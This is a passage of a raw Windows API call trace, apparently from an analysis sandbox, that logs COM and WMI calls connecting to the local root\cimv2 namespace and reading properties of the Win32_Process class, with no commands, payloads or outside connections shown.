riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0163.968] IUnknown:Release (This=0x1a943398) returned 0x1 [0163.969] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7db30 | out: ppv=0x1bb7db30*=0x1bc6f6c0) returned 0x0 [0163.969] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc6f6c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db78 | out: ppvObject=0x1bb7db78*=0x0) returned 0x80004002 [0163.969] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bc6f6c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x1bc6f740) returned 0x0 [0163.969] WbemLocator:IUnknown:Release (This=0x1bc6f6c0) returned 0x0 [0163.969] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc6f740, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d938 | out: ppvObject=0x1bb7d938*=0x1bc6f740) returned 0x0 [0163.969] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc6f740, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d9e0 | out: ppvObject=0x1bb7d9e0*=0x0) returned 0x80004002 [0163.970] WbemLocator:IUnknown:AddRef (This=0x1bc6f740) returned 0x3 [0163.970] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc6f740, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d088 | out: ppvObject=0x1bb7d088*=0x0) returned 0x80004002 [0163.970] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc6f740, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d010 | out: ppvObject=0x1bb7d010*=0x0) returned 0x80004002 [0163.970] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc6f740, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d000 | out: ppvObject=0x1bb7d000*=0x0) returned 0x80004002 [0163.970] CoGetContextToken (in: pToken=0x1bb7d0b0 | out: pToken=0x1bb7d0b0) returned 0x0 [0163.970] CoGetContextToken (in: pToken=0x1bb7d530 | out: pToken=0x1bb7d530) returned 0x0 [0163.970] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc6f740, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5f0 | out: ppvObject=0x1bb7d5f0*=0x0) returned 0x80004002 [0163.970] WbemLocator:IUnknown:Release (This=0x1bc6f740) returned 0x2 [0163.970] WbemLocator:IUnknown:Release (This=0x1bc6f740) returned 0x1 [0163.970] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0163.970] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0163.970] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc6f740, riid=0x1bb7e140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bc6f740) returned 0x0 [0163.970] WbemLocator:IUnknown:AddRef (This=0x1bc6f740) returned 0x3 [0163.970] WbemLocator:IUnknown:Release (This=0x1bc6f740) returned 0x2 [0163.970] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94ab0, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0163.970] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94ab0, lFlags=8, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0163.971] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94ab0, lFlags=8, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0163.971] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e180 | out: ppv=0x1bb7e180*=0x1bc6f760) returned 0x0 [0163.971] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bc6f760, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e3a8 | out: ppNamespace=0x1bb7e3a8*=0x1bcc63f0) returned 0x0 [0164.107] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc63f0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dff8 | out: ppvObject=0x1bb7dff8*=0x1bc43160) returned 0x0 [0164.107] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bc43160, pProxy=0x1bcc63f0, pAuthnSvc=0x1bb7e0c0, pAuthzSvc=0x1bb7e040, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044, pImpLevel=0x1bb7e04c, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048 | out: pAuthnSvc=0x1bb7e0c0*=0xa, pAuthzSvc=0x1bb7e040*=0x0, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044*=0x6, pImpLevel=0x1bb7e04c*=0x2, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048*=0x1) returned 0x0 [0164.107] WbemLocator:IUnknown:Release (This=0x1bc43160) returned 0x1 [0164.107] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc63f0, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df90 | out: ppvObject=0x1bb7df90*=0x1bc431a0) returned 0x0 [0164.108] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc63f0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dfa0 | out: ppvObject=0x1bb7dfa0*=0x1bc43160) returned 0x0 [0164.108] WbemLocator:IClientSecurity:SetBlanket (This=0x1bc43160, pProxy=0x1bcc63f0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0164.108] WbemLocator:IUnknown:Release (This=0x1bc43160) returned 0x2 [0164.108] WbemLocator:IUnknown:Release (This=0x1bc431a0) returned 0x1 [0164.108] CoTaskMemFree (pv=0x1bcc2e30) [0164.108] WbemLocator:IUnknown:AddRef (This=0x1bcc63f0) returned 0x2 [0164.108] WbemLocator:IUnknown:Release (This=0x1bc6f760) returned 0x0 [0164.109] CoGetContextToken (in: pToken=0x1bb7d200 | out: pToken=0x1bb7d200) returned 0x0 [0164.109] CoGetContextToken (in: pToken=0x1bb7d680 | out: pToken=0x1bb7d680) returned 0x0 [0164.109] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc63f0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d600 | out: ppvObject=0x1bb7d600*=0x1bc43170) returned 0x0 [0164.109] WbemLocator:IRpcOptions:Query (in: This=0x1bc43170, pPrx=0x1bc6f440, dwProperty=2, pdwValue=0x1bb7d730 | out: pdwValue=0x1bb7d730) returned 0x80004002 [0164.109] WbemLocator:IUnknown:Release (This=0x1bc43170) returned 0x2 [0164.109] CoGetContextToken (in: pToken=0x1bb7dd50 | out: pToken=0x1bb7dd50) returned 0x0 [0164.109] CoGetContextToken (in: pToken=0x1bb7dc50 | out: pToken=0x1bb7dc50) returned 0x0 [0164.109] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc63f0, riid=0x1bb7ddb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dbd0 | out: ppvObject=0x1bb7dbd0*=0x1bcc63f0) returned 0x0 [0164.109] WbemLocator:IUnknown:Release (This=0x1bcc63f0) returned 0x2 [0164.109] SysStringLen (param_1=0x0) returned 0x0 [0164.109] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94ab0, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0164.109] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94ab0, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0164.109] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94ab0, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0164.109] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94f30, lFlags=2, puBuffLength=0x1bb7e558*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e558*=0xe, pszText=0x0) returned 0x0 [0164.109] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94f30, lFlags=2, puBuffLength=0x1bb7e558*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e558*=0xe, pszText="Win32_Process") returned 0x0 [0164.110] IWbemServices:GetObject (in: This=0x1bcc63f0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e3a0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e3a0*=0x1aa23140, ppCallResult=0x0) returned 0x0 [0164.113] IWbemClassObject:Get (in: This=0x1aa23140, wszName="__PATH", lFlags=0, pVal=0x1bb7e470*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e5d8*=0, plFlavor=0x1bb7e5d0*=0 | out: pVal=0x1bb7e470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1bb7e5d8*=8, plFlavor=0x1bb7e5d0*=64) returned 0x0 [0164.114] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0164.114] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0164.114] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4a8 | out: ppv=0x1bb7e4a8*=0x1a943398) returned 0x0 [0164.114] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e498 | out: pAptType=0x1bb7e498*=1) returned 0x0 [0164.114] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4a0 | out: ppvObject=0x1bb7e4a0*=0x0) returned 0x80004002 [0164.114] IUnknown:Release (This=0x1a943398) returned 0x1 [0164.116] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8c0 | out: ppv=0x1bb7d8c0*=0x1bc6f760) returned 0x0 [0164.117] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc6f760, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x0) returned 0x80004002 [0164.117] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc6f760, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8b8 | out: ppvObject=0x1bb7d8b8*=0x1bc949f0) returned 0x0 [0164.117] WbemDefPath:IUnknown:Release (This=0x1bc6f760) returned 0x0 [0164.117] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc949f0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6c8 | out: ppvObject=0x1bb7d6c8*=0x1bc949f0) returned 0x0 [0164.117] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc949f0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d770 | out: ppvObject=0x1bb7d770*=0x0) returned 0x80004002 [0164.117] WbemDefPath:IUnknown:AddRef (This=0x1bc949f0) returned 0x3 [0164.117] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc949f0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce18 | out: ppvObject=0x1bb7ce18*=0x0) returned 0x80004002 [0164.117] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc949f0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cda0 | out: ppvObject=0x1bb7cda0*=0x0) returned 0x80004002 [0164.117] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc949f0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x1bc6f5c0) returned 0x0 [0164.117] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc6f5c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cdb8 | out: pCid=0x1bb7cdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0164.117] WbemDefPath:IUnknown:Release (This=0x1bc6f5c0) returned 0x3 [0164.117] CoGetContextToken (in: pToken=0x1bb7ce40 | out: pToken=0x1bb7ce40) returned 0x0 [0164.117] CoGetContextToken (in: pToken=0x1bb7d2c0 | out: pToken=0x1bb7d2c0) returned 0x0 [0164.117] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc949f0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d380 | out: ppvObject=0x1bb7d380*=0x0) returned 0x80004002 [0164.118] WbemDefPath:IUnknown:Release (This=0x1bc949f0) returned 0x2 [0164.118] WbemDefPath:IUnknown:Release (This=0x1bc949f0) returned 0x1 [0164.118] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0164.118] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0164.118] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc949f0, riid=0x1bb7e140*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bc949f0) returned 0x0 [0164.118] WbemDefPath:IUnknown:AddRef (This=0x1bc949f0) returned 0x3 [0164.118] WbemDefPath:IUnknown:Release (This=0x1bc949f0) returned 0x2 [0164.118] WbemDefPath:IWbemPath:SetText (This=0x1bc949f0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0164.118] IWbemClassObject:Get (in: This=0x1aa23140, wszName="__SERVER", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=0, plFlavor=0x1bb7e688*=0 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0164.118] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0164.118] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0164.118] IWbemClassObject:Get (in: This=0x1aa23140, wszName="__NAMESPACE", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0164.119] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0164.119] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0164.119] IWbemClassObject:Get (in: This=0x1aa23140, wszName="__CLASS", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0164.119] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0164.119] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0164.119] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0164.119] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0164.119] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0164.119] IUnknown:Release (This=0x1a943398) returned 0x1 [0164.121] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc6f6e0) returned 0x0 [0164.121] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc6f6e0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0164.121] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc6f6e0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc94870) returned 0x0 [0164.121] WbemDefPath:IUnknown:Release (This=0x1bc6f6e0) returned 0x0 [0164.121] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94870, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc94870) returned 0x0 [0164.121] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94870, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0164.122] WbemDefPath:IUnknown:AddRef (This=0x1bc94870) returned 0x3 [0164.122] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94870, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0164.122] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94870, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0164.122] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94870, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc6f460) returned 0x0 [0164.122] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc6f460, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0164.122] WbemDefPath:IUnknown:Release (This=0x1bc6f460) returned 0x3 [0164.122] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0164.122] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0164.122] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94870, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0164.122] WbemDefPath:IUnknown:Release (This=0x1bc94870) returned 0x2 [0164.122] WbemDefPath:IUnknown:Release (This=0x1bc94870) returned 0x1 [0164.122] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0164.122] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0164.122] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94870, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc94870) returned 0x0 [0164.122] WbemDefPath:IUnknown:AddRef (This=0x1bc94870) returned 0x3 [0164.122] WbemDefPath:IUnknown:Release (This=0x1bc94870) returned 0x2 [0164.122] 